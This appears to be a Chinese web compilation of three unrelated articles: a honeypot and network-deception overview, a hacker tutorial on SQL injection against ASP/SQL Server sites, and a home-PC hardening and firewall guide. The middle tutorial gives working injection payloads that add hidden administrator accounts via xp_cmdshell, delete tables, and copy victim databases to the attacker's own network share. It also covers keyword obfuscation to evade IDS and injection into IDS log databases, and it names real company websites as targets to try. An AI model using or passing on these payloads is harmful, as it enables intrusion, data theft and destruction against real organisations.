什么是网络欺骗?
计算机系统及网络的信息安全将是新世纪中各国面临的重大挑战之一。在我国,这一问题已引起各方面的高度重视,一些典型技术及相关产品如密码与加密、认证与访问控制、入侵检测与响应、安全分析与模拟和灾难恢复都处于如火如荼的研究和开发之中。近年来,在与入侵者周旋的过程中,另一种有效的信息安全技术正渐渐地进入了人们的视野,那就是网络欺骗。
网络欺骗就是使入侵者相信信息系统存在有价值的、可利用的安全弱点,并具有一些可攻击窃取的资源(当然这些资源是伪造的或不重要的),并将入侵者引向这些错误的资源。它能够显著地增加入侵者的工作量、入侵复杂度以及不确定性,从而使入侵者不知道其进攻是否奏效或成功。而且,它允许防护者跟踪入侵者的行为,在入侵者之前修补系统可能存在的安全漏洞。
从原理上讲,每个有价值的网络系统都存在安全弱点,而且这些弱点都可能被入侵者所利用。网络欺骗主要有以下三个作用:
影响入侵者使之按照你的意志进行选择;
迅速地检测到入侵者的进攻并获知其进攻技术和意图;
消耗入侵者的资源。
一个理想的网络欺骗可以使入侵者感到他们不是很容易地达到了期望的目标(当然目标是假的),并使其相信入侵取得了成功。
网络欺骗的主要技术
Honey Pot和分布式Honey Pot
网络欺骗一般通过隐藏和安插错误信息等技术手段实现,前者包括隐藏服务、多路径和维护安全状态信息机密性,后者包括重定向路由、伪造假信息和设置圈套等等。综合这些技术方法,最早采用的网络欺骗是Honey Pot技术,它将少量的有吸引力的目标(我们称之为Honey Pot)放置在入侵者很容易发现的地方,以诱使入侵者上当。
这种技术的目标是寻找一种有效的方法来影响入侵者,使得入侵者将技术、精力集中到Honey Pot而不是其它真正有价值的正常系统和资源中。Honey Pot技术还可以做到一旦入侵企图被检测到时,迅速地将其切换。
但是,对稍高级的网络入侵,Honey Pot技术就作用甚微了。因此,分布式Honey Pot技术便应运而生,它将欺骗(Honey Pot)散布在网络的正常系统和资源中,利用闲置的服务端口来充当欺骗,从而增大了入侵者遭遇欺骗的可能性。它具有两个直接的效果,一是将欺骗分布到更广范围的IP地址和端口空间中,二是增大了欺骗在整个网络中的百分比,使得欺骗比安全弱点被入侵者扫描器发现的可能性增大。
尽管如此,分布式Honey Pot技术仍有局限性,这体现在三个方面:一是它对穷尽整个空间搜索的网络扫描无效;二是只提供了相对较低的欺骗质量;三是只相对使整个搜索空间的安全弱点减少。而且,这种技术的一个更为严重的缺陷是它只对远程扫描有效。如果入侵已经部分进入到网络系统中,处于观察(如嗅探)而非主动扫描阶段时,真正的网络服务对入侵者已经透明,那么这种欺骗将失去作用。
欺骗空间技术
欺骗空间技术就是通过增加搜索空间来显著地增加入侵者的工作量,从而达到安全防护的目的。利用计算机系统的多宿主能力(multi-homed capability),在只有一块以太网卡的计算机上就能实现具有众多IP地址的主机,而且每个IP地址还具有它们自己的MAC地址。这项技术可用于建立填充一大段地址空间的欺骗,且花费极低。实际上,现在已有研究机构能将超过4000个IP地址绑定在一台运行Linux的PC上。这意味着利用16台计算机组成的网络系统,就可做到覆盖整个B类地址空间的欺骗。尽管看起来存在许许多多不同的欺骗,但实际上在一台计算机上就可实现。
从效果上看,将网络服务放置在所有这些IP地址上将毫无疑问地增加了入侵者的工作量,因为他们需要决定哪些服务是真正的,哪些服务是伪造的,特别是这样的4万个以上IP地址都放置了伪造网络服务的系统。而且,在这种情况下,欺骗服务相对更容易被扫描器发现,通过诱使入侵者上当,增加了入侵时间,从而大量消耗入侵者的资源,使真正的网络服务被探测到的可能性大大减小。
当入侵者的扫描器访问到网络系统的外部路由器并探测到一欺骗服务时,还可将扫描器所有的网络流量重定向到欺骗上,使得接下来的远程访问变成这个欺骗的继续。
当然,采用这种欺骗时网络流量和服务的切换(重定向)必须严格保密,因为一旦暴露就将招致攻击,从而导致入侵者很容易将任一已知有效的服务和这种用于测试入侵者的扫描探测及其响应的欺骗区分开来。
增强欺骗质量
面对网络攻击技术的不断提高,一种网络欺骗技术肯定不能做到总是成功,必须不断地提高欺骗质量,才能使入侵者难以将合法服务和欺骗区分开来。
网络流量仿真、网络动态配置、多重地址转换和组织信息欺骗是有效增强网络欺骗质量的几种主要方法,下面分别予以介绍。
网络流量仿真
产生仿真流量的目的是使流量分析不能检测到欺骗。在欺骗系统中产生仿真流量有两种方法。一种方法是采用实时方式或重现方式复制真正的网络流量,这使得欺骗系统与真实系统十分相似,因为所有的访问连接都被复制了。第二种方法是从远程产生伪造流量,使入侵者可以发现和利用。
网络动态配置
真实网络是随时间而改变的,如果欺骗是静态的,那么在入侵者长期监视的情况下就会导致欺骗无效。因此,需要动态配置欺骗网络以模拟正常的网络行为,使欺骗网络也象真实网络那样随时间而改变。为使之有效,欺骗特性也应该能尽可能地反映出真实系统的特性。例如,如果办公室的计算机在下班之后关机,那么欺骗计算机也应该在同一时刻关机。其它的如假期、周末和特殊时刻也必须考虑,否则入侵者将很可能发现欺骗。
多重地址转换(multiple address translation)
地址的多次转换能将欺骗网络和真实网络分离开来,这样就可利用真实的计算机替换低可信度的欺骗,增加了间接性和隐蔽性。其基本的概念就是重定向代理服务(通过改写代理服务器程序实现),由代理服务进行地址转换,使相同的源和目的地址象真实系统那样被维护在欺骗系统中。右图中,从m.n.o.p进入到a.b.c.g接口的访问,将经过一系列的地址转换——由a.f.c.g发送到10.n.o.p再到10.g.c.f,最后将数据包欺骗形式从m.n.o.p转换到真实机器上的a.b.c.g。并且还可将欺骗服务绑定在与提供真实服务主机相同类型和配置的主机上,从而显著地提高欺骗的真实性。还可以尝试动态多重地址转换。
创建组织信息欺骗
如果某个组织提供有关个人和系统信息的访问,那么欺骗也必须以某种方式反映出这些信息。例如,如果组织的DNS服务器包含了个人系统拥有者及其位置的详细信息,那么你就需要在欺骗的DNS列表中具有伪造的拥有者及其位置,否则欺骗很容易被发现。而且,伪造的人和位置也需要有伪造的信息如薪水、预算和个人记录等等。
结束语
本文阐述了网络欺骗在信息系统安全中的作用及实现的主要技术,并介绍了增强欺骗质量的具体方法。高质量的网络欺骗,使可能存在的安全弱点有了很好的隐藏伪装场所,真实服务与欺骗服务几乎融为一体,使入侵者难以区分。因此,一个完善的网络安全整体解决方案,离不开网络欺骗。在网络攻击和安全防护的相互促进发展过程中,网络欺骗技术将具有广阔的发展前景。
[查看全文]
对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!
这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;execsp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....
这种方法请求数据库,那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ... 整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方
法:
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
这样,你在他的数据库和系统内都留下了hax管理员账号了,当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵.当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了。
再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。你如天融信的主页,有新闻内容,如下: http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;-- 呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用'号结束,那么试试看[url]http://www.talentit.com.cn/news/news-2.asp?newid=117';delete[/url] news;-- 哈哈,我想只要表名猜对了,新闻库就被删了。
通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限。
但是我们不知道库名该怎么?看看db_name()函数吧。打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了。
以次类推,如下: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';-- 呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧。同理这个方法可以找到对方的SQL的IP,先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示,然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP,如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位置了。
那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办?
别着急,试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat',name='test';-- 呵呵,你的防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露。
那么如果对方连某个数据库的owner也不是的话,我们该怎么办?下次我会告诉大家一个更好的办法。
其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的。下次我们还会谈到如何骗过IDS执行ASP+SQL入侵。
目前有些好的IDS已经开始监视xp_cmdshell这些关键字了,好吧,同志们下次见!
所有以上url希望大家通过vbscript提交,因为浏览器的地址栏会屏蔽一些特殊字符,这样你的命令就不能完整传输了window.location.herf=URL
补充:这个问题以前载网上也提出来过,但是只是一些简单的xp_cmdshell调用限制很大,其实这里面还有很多值得深入的地方比如www.guosen.com.cn。国信证卷就有这个问题,而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了,字符串会被过滤,但是我尝试了,用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号!由于对方防火墙很严checkpoint数据报进出都只开放80端口因此,要想获得他的数据库结构比较困难了,但是还是有办法可以做到的:P。
顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时,他们会很有用的!
sql server新漏洞和一些突破口
下面我要谈到一些sqlserver新的bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别,当然很有可能有些高手早已知道了,毕竟我接触sqlserver的时间不到1年:P
1。关于openrowset和opendatasource
可能这个技巧早有人已经会了,就是利用openrowset发送本地命令
通常我们的用法是(包括MSDN的列子)如下
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset
那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshell ''dir c:'')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。
那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic'),这样,命令至少会返回select 'OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于
这个方法真正的用处,大家慢慢想吧:P
2。关于msdasql两次请求的问题
不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下
select * from openrowset('msdasql','driver=;server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * fromtable2')当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死sqlserver进程后,如果不重启机器,sqlserver要么无**常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,因该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧:P
3。可怕的后门
以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell''dir c:'')这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。
以上的方法在sqlserver2000+sqlserver2000SP1上通过!
*另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:'')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql的方法如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。
因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:P
利用t-sql骗过ids或攻击ids
现在的ids已经变得越来越聪明了
有的ids加入了xp_cmdshell sp_addlogin 的监视 ,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉 。先说说欺骗ids:
ids既然监视xp_cmdshell关键字,那么我们可以这么做,declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c: 这个代码象性大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做,
假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:
当然也可以
declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:
这种做法排列组合,ids根本不可能做的到完全监视
同理,sp_addlogin也可以这么做 。
再说说攻击ids:
因为ids数据量很大,日至通常备份到常规数据库,比如sql server
如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server去做 。
通常程序会这么写:insert table values ('日至内容',...)
那么我么想想看,如果用temp') exec xp_cmdshell 'dir c: -- ,提交后会变成
insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c: -- ') ,这样,xp_cmdshell就可以在ids的数据库运行了,当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成%20 ,因此,%20会被提交到sql server,这样你的命令就无法执行了 ,唯一的办法就是insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:/**/-- ')
用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行,当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录 。呵呵 ...
其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ ,本来asp是select语句,那么用'就可以屏蔽现在ids用insert语句,那么用')屏蔽 。
好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer了。
[查看全文]
基本设置篇
一、在线安全的四个误解
Internet实际上是个有来有往的世界,你可以很轻松地连接到你喜爱的站点,而其他人,例如黑客也很方便地连接到你的机器。实际上,很多机器都因为自己很糟糕的在线安全设置无意间在机器和系统中留下了“后门”,也就相当于给黑客打开了大门。
你上网的时间越多,被别人通过网络侵入机器的可能性也就越大。如果黑客们在你的设置中发现了安全方面的漏洞,就会对你发起攻击,可能是一般的骚扰,如降低你的速度或者让你的机器崩溃;也可能更严重,例如打开你的机密文件、偷窃口令和信用卡密码。
但是很多人并不以为然,因为他们在网络安全方面还存在四个误区:
误区一:我没有连接其他网络,所以我很安全。
对,连接INTERNET是要上网的,但是可以上网的独立机器,与一台商业网络中心的机器相比,所使用的网络协议仍然有一些甚至全部相同,而一台商业网络中心的机器还可能安装了公共防火墙或者有专门负责安全的人员。与此形成强烈对比的是一些用于家庭、办公室、小公司的个人用机确是门户大开,完全没有防范黑客的能力。这种威胁是很现实的:如果你使用了cable modem或是DSL连接上网,而且在网上的时间很长,一天
里也许就会有2-4个卑鄙的黑客企图攻击你。
误区二:我是用拨号上网,所以我的机器是安全的。
每次当你开始拨号上网,你使用的IP地址都会不同,也就是动态IP,所以相比静态IP的用户而言。黑客是很难找到你,但是有一些黑客软件已经发展到可以在1个小时以内逐个扫描上万个IP地址的能力,所以只要黑客使用了这些工具,即使是拨号上网的用户也可能受到攻击。
误区三:我使用了防病毒软件,所以我很安全。
一个好的病毒软件确实是在线安全不可或缺的部分,但是也是很小的一个部分。它能够通过检测病毒和类似的问题保护你,但是它们对防范黑客、对带有恶意的“合法”程序却无能为力。
误区四:我使用了防火墙,所以我很安全。
防火墙是很有用处,但是如果你的机器总是采用一些不够安全的方式接收和发送数据,而你又仅仅依靠一些附加的程序提供安全,这就等于把所有的蛋放在一个篮子里,一旦防火墙软件出现bug或者有漏洞,那你很危险了。另外,防火墙对于病毒一类的软件完全没有防范能力,尤其是那些带有恶意的悄悄地向你的机器发送或提取数据的程序。
最后,一些防火墙软件还可能帮倒忙,因为它们的厂商在广告中把产品的特点介绍出去,可能招致一些专门针对它们弱点的攻击。
但是解决方法是有的,你可以使用你已经有的工具,而且本文也会告诉你怎样才是安全的设置和怎样选择安全软件。
二、一分钟的网络基础知识
看到这个内容,你可能想一眼扫过或者直接跳过去,但是这只需要一分钟,而且对你理解下面的内容很有帮助。
简单地说,你可以将你和网络的连接分为三层。
最深的一层是你和网络的物理连接方式,包括硬件。例如拨号上网,要使用“拨号适配器”才能和你的MODEM“交谈”;如果是局域网,需要网卡和驱动程序,以便你的PC和网卡交换数据,而DSL、cable等也需要网卡。一个PC可以同时使用多个硬件适配器,
例如可以即用cable modem上网,也连接拨号上网的MODEM,还在局域网中,这样系统的网络设置中就有两个网络适配器和一个拨号适配器。
中间的一层连接由你的机器所使用的和网络其他机器交流的通讯协议和语言组成,例如TCP/IP协议,其他还有NetBEUI和IPX/SPX,这些协议也可以并行工作,一个协议可以被同时捆绑到多个硬件设备上,而一个硬件设备也可以同时捆绑多个协议。最顶层的连接是网络设备,登录上网、文件与打印共享和以及位于最顶层的客户程序,为你完成需要在网络上完成的任务,但不幸的是,它是双向的,也可以让黑客对你执行他们的操作。
所以,保证安全的窍门在于确保没有那些危险的设置和设备,例如如果不需要从网上进行访问,“文件与打印共享”就完全没有必要,这也是黑客经常利用的地方。换句话说,仔细地设置哪些要进行捆绑,可以确保你的机器不那么轻易被访问,尽管存在一些本身安全性较差的设备和协议。
三、怎样确保连接安全
在按照我下面提到的建议对系统设置进行修改以前,最好先将你系统中的关键数据备份,或者记下你原来的设置,以便在需要的时候恢复。如果你是在局域网或是有特殊的网络要求,请先和管理员商量。
我们先检查你的网络设置:右击“网络邻居”,选择“属性”,现在我们要删除一些很容易就能够让别人通过INTERNET连接到你的INTERNET协议:TCP/IP。
如果你没有使用拨号上网,可以直接跳到下一段。双击“拨号适配器”、“绑定”,把除TCP/IP以外的内容都选掉,回到主界面,双击“TCP/IP ->拨号适配器”,你可能看到一个警告,说明如果修改将有危险,不管它,不修改才会有危险呢!单击“绑定”,如果选择了“microsoft网络用户”和“文件和打印共享”,把它们选掉,这样就只剩下TCP/IP了,你会得到这样一个警告:TCO/IP已经没有绑定到任何驱动程序“,回答NO。
如果你使用了网卡,单击每个卡对应的TCP/IP,例如我就用了一块便宜的Realtek网卡,则单击“TCP/IP -> Realtek RT8029(as) PCI Ethernet NIC.”,单击“绑定”,确认没有选择“micrcosoft网络用户”和“文件和打印共享”。
但是如果你是在局域网上,希望在本地共享文件和打印机,也有办法呀,添加一个非INTERNET协议IPX/SPX或者NetBEUI都可以。添加适当的“micrcosoft网络用户”,选择“文件和打印共享”,就可以共享文件和打印了!
现在倒回去检查系统中的每个适配器和协议,确保“micrcosoft网络用户”和“文件打印共享”只在IPX/SPX and/或NetBEUI中被选择了。同时,也确认在TCP/IP中没有选择这两项。然后对局域网中的所有机器重复这个检查过程。用这种方法,你的机器在
INTERNET上就只使用TCP/IP,而在局域网上使用非INTERNET协议以便共享打印机和文件。因为黑客必须使用TCP/IP,这样他们就需要花费更多的时间来访问被共享的打印机和
文件。
需要注意的是你对网络设置的任何变动都可能重新设置绑定和其他设置,甚至包括你不曾接触的内容,而当你或者是你所安装的软件修改了网络设置,都要执行上面介绍的步骤检查TCP/IP连接以确保它保持“干净”,没有与“micrcosoft网络用户”和“文件和打印共享”绑定。
AOL(美国在线)有一点是令人厌恶的:它把它自己的(通常是没有必要的)适配器加入到你的网络设置中,而且可能会不正确地修改你的绑定设置,一些用户在安装AOL后报告,他们的“文件和打印共享”被绑定在TCP/IP上,意味着对任何想连接的人都提供
打印机和文件,上面的介绍的窍门对避免出现AOL的这个情况也很有效。
要改善你的网络安全性你可以作很多工作,我们将在下面讨论,但是面的设置将消除WINDOWS PC的最常见和突出的网络安全问题,把最明显的漏洞给你堵上,让你拥有一个更安全的线上操作基础。一旦你学会了上面的方法,只用几分钟进行检查,基本就不需要其他的辅助软件,这样做的好处在于不用花钱哟!
工具篇
在上一部分,我们讨论了怎样调整网络设置以获得更好的安全性,现在,我们来看看怎样利用一些免费或者商业产品和服务做更多的事。
既然你已经有了很好的防范黑客的线上安全基础,现在你可以学习使用决定性的一招,帮你的机器增强抵抗力,能够防范一些常见的和不常见的攻击,甚至一些更高水平的或者更迂回曲折的攻击。于是,你就有了两级安全措施了,一个是前面介绍的网络安全设置,一个是附加的安全产品,即使有其中一个出现了问题,你也仍然有另一个保护,总不能一棵树上吊死人吧!
在你向系统中添加任何安全性产品之前,作一个额外的测试,检查一下你的设置是否已经OK了。最好是定时(每月或者每周)检查一下你的基本网络设置是否安全。
我推荐三个绝好的免费站点帮助你从外端检测你的INTERNET连接,以便你检测和纠正潜在的安全问题。
http://www.dslreports.com/r3/dsl/secureme
我曾经连续使用过这第三个站点,他们测试的对象是一样的,有些重复,但是采用了不同的方法,测试的重点也不同。通过一个一个地在这三个网站进行测试,你可以“嗅”到你的INTERNET连接中存在的最常见的漏洞,如果你通过了这三个测试,你就可以防范绝大多数的常见的黑客攻击了。
另外,Gibson Research网站( http://grc.com/intro.htm)所提供的额外的帮助文件值得一读,特别是当你对关闭一个端口有疑惑(例如NetBIOS的Port 39)的时候,Gi
bson提供了一步一步的指导可以确保你将端口关闭,具体参看 http://grc.com/su-bond
age.htm。
一旦你的PC经过了上面的测试,你就可以再增加一个加强安全的程序了,这种程序有很多,但是目前最热门的是“个人用防火墙”,下面我们讨论的重点也就是如何选择这一类产品。
不管你是否已经使用了公用的防火墙、代理服务器、域名服务器,这些本地的防火墙在你的机器内部监视你的INTERNET数据交换,防止来自黑客的不正常的访问,其中一些还可以监视非正常的数据输出,也就是那种特洛伊木马程序式偷偷摸摸留下的“后门”,在你不知道的情况下,向你的机器发送信息或者获取信息。
我现在使用的个人防火墙是免费而绝妙的ZoneAlarm,虽然它还有一些粗糙,但是它更新很快,最新的版本已经是2.0.26了,而且解决了很多早期版本存在的问题,而且它免费,却比很多售价50美圆的商业产品更有效,例如它是少数能够检测到特洛伊程序的防火墙之一。
Aladdin的eSafe Protect Desktop也加入了类似于防病毒程序的功能,相当于防火墙加沙箱的功能,能够防范决大多数带有恶意的访问,并将它们隔离起来。另外,它们让人满意的是占用很少的系统资源,只有2%而已。它是一个值得注意的产品,售价为30美圆。但是为了与流行的ZoneAlarm抗衡,Aladdin的Protect Desktop现在对个人使用完
全免费,因此很值得试试看,我正在试用,可能它会变成我的新欢哟!
FWProxy是一个简单免费的程序,能够在设定的端口监听进入的TCP连接,检查用户对设备的授权,在远程RAS用户和设定的内部TCP设备之间建立连接,你如果你只需要这个功能,那你可以试试它。
Sybergen Secure Desktop(以前叫SyShield)非常灵活,可以从多方面进行设置,售价为30美圆,它的长处在于安装简单,虽然为数不多的文档让那些迷失在它过多的设置选项中的初学者有些困惑,但是它马上就会出新版本了,以后我们还要介绍。
BlackIce Defender是一个享有盛誉、非常流行的防火墙,花费40美圆就可以获得BlackIce Defender和一年的安全升级。和ZoneAlarm一样,BlackIce也有其显得粗糙的地方,例如它的错误检测警告,几乎让你发生一种错觉,好象你受到外界的攻击是基本不变的,另外文档也不够完善,除非你对防火墙技术和端口分配都非常精通,还有一些用
户对它支持的级别和对错误反应的时间也不满意。看来Networkice这位始作俑者已经被他们的胜利淹没了,很难继续保持原来的状态。这种说法分的另一个佐证是关于Windows 2000,Windows 2000已经推出一段时间了,而BlackIce的站点还在说:“Win2k目前仍然是beta版本,我们目前还不能支持它,检测侵入的部分运行良好,而防火墙部分现在
还不行,我们计划在WIN 2000正式推出时再支持它。”这种情况让人联想到它的安全产品,因为人们总是希望它的内容能够尽量保持最新状态。
如果你到过各种黑客站点和黑客的BBS,你可以看到一个让黑客们又爱又怕的软件,售价为49美圆的ConSeal Private Desktop,他们喜欢在自己的机器上安装这个软件,但又痛恨在所攻击的用户机器上也安装了这个软件。出品它的加拿大公司Signal9刚被McA
fee收购,我们还不清楚McAfee的计划是什么,你可以到 http://www.signal9.com/上去看看相关信息。
McAfee还刚刚收购了Cybermedia,它的售价为30美圆的防护狗软件是一个很有趣的产品,多种功能兼而有之,病毒检测、隐私保护和在线安全,还包括对恶意ActiveX和Java applets的防护。
而ConSeal的AtGuard,是另一个让黑客爱恨交织的防火墙,刚刚被Symantec收购,现在变成了售价为60美圆的Norton Internet Security 2000的一部分。和它的其他产品相比,AtGuard略显单薄,但是Norton Internet Security 2000是一个安全“巨人”,
虽然它的设置也很麻烦。但是无论如何,AtGuard安全部分的功能仍然使非常出色的,尽管它现在已经被其他产品的光芒掩盖了。
上面介绍的产品都是一些用途广泛功能全面的防护软件,但是还有一些功能比较精细集中的产品:
Jammer,售价为20美圆,专门设计用来防范NetBus和BackOrifice的攻击,如果你的其他安全产品只有一般的防护能力,它倒还是挺有用的;
ProtectX,售价为25美圆,可以同时监视最多20个端口,还可以帮你追踪攻击你的黑客的来源,也是一个享有盛誉的产品,尽管它所能监视的端口数量受到限制,和同类产品相比显得有些不足。
Rainbow Diamond Intrusion Detector,售价为40美圆,在你可能受到侵犯的时候会发出警报,Intrusion Detector直接在机器中监视可疑的网络活动,一旦发现对象,就发出报警。Intrusion Detector还会试图确定攻击你的用户的身份。
TDS-2,售价33美圆,来自澳大利亚的Trojan特洛伊防范系统,对特洛伊有比其他软件更强的检测能力。
哦,你的选择真是太多了,有了这些产品,你的机器的安全级别一定可以到很高的级别。
但是,即使有了上面的这些产品,我们的安全工作还是没有完成,下一步或者是对上述产品的补充,或是对上述产品的替代,另外,还有一个特的措施你可以使用,将你的安全性能提高到一个很高的程度。
窍门篇
前面我们分别从PC的网络安全设置和优秀的网络安全产品出发,介绍了如何提高机器的安全性能,对大多数人而言,如果仅仅是一般的上网冲浪和日常的网络操作,这些措施已经相当足够了。
但是也许你的要求和他们不同,因此我们还继续讨论第三步,如何让你的安全性能变得更高。实际上,这一步是针对我的个人而定的,因为我有下面几个特殊的地方:
我每周7天、每天24小时在INTERNET上;
我通过INETRNET做生意,并经营网站;
我比一般人要显眼,更容易成为黑客的目标;
我将INTERNET连接共享给其他的几台机器。
如果你也具备上述的几个或全部特征,你可能也希望采用我的方法来让你的机器“固若金汤”,那么我们就交流一下。
首先,我使用了在第一部分和第二部分介绍的所有技术,例如我的任何一台机器都没有绑定“网络用户”、“文件和打印共享”到TCP/IP,所有常见的攻击对我不起作用;第二,在每台机器里我都用了个人防火墙,ZoneAlarm,可以帮助我阻塞黑客的侵入。
上面只是两个安全的级别,但是我还有第三个更简单和更便宜的方法,那就是:我所有的机器都没有直接连接INTERNET。相反地,我用了一台烂机器(古老的486,内存很
少)作为与INTERNET连接的服务器,在它上面运行Windows和Sygate,有了Sygate,几台机器可以通过一个机器上网,而Sygate的防火墙功能非常出色。从外界能够看到的只有这台烂机器,而其余几台共享连接的机器从外面看不到,所以黑客也无法检测和攻击。
Sygate的防火墙功能帮了大忙,它把它自己藏了起来,准确地说,是把运行它的机器藏起来了,面对黑客的探测“屏声禁气”,所有的现象都说明这里根本就没有一台机器,所以Sygate的防火墙算是第四层保护了。
